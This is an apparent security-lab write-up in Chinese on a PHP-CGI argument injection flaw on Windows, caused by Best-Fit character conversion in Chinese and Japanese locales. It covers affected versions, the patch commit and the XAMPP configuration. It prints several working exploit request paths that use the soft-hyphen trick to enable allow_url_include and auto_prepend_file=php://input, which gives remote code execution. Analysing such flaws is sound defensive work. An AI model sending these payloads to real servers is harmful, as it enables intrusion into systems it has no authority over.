漏洞的存在是因为PHP在设计时未能预见到Windows的Best-Fit字符编码转换特性,这使得攻击者可以通过构造特定的请求来绕过安全限制。受影响的环境包括使用特定语系设置的Windows系统,如简体中文(936)、繁体中文(950)和日文(932)。
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29
其他版本的PHP官方已不在维护,建议根据实际情况升级到安全版本或者关闭php-cgi的使用。
{host}/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
PHP-FPM:这是一种FastCGI协议的解析器,它的主要任务是接收来自Web服务器,按照FastCGI协议格式封装的请求数据,并将其传递给PHP解释器进行处理。
mod_php:这是Apache服务器的一个模块,专门用于处理PHP和Apache之间的数据交换工作。
PHP-CGI:它具备两种模式的交互能力,既可以作为CGI程序运行,也可以作为FastCGI服务运行。PHP-CGI在以CGI模式运行时爆出了安全漏洞CVE-2012-1823 。
查看这次补丁的commit来分析为什么是连字符(”-“):
https://github.com/php/php-src/commit/4dd9a36c16#diff-680b80075cd2f8c1bbeb33b6ef6c41fb1f17ab98f28e5f87d12d82264ca99729R1798
在 confextrahttpd-xampp.conf 中存在如下的配置项
ScriptAlias /php-cgi/ "/xampp/php/"
<Directory "/xampp/php">
AllowOverride None
Options None
Require all denied
<Files "php-cgi.exe">
Require all granted
</Files>
</Directory>
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
作者:罗晟
2024年6月17日
洞源实验室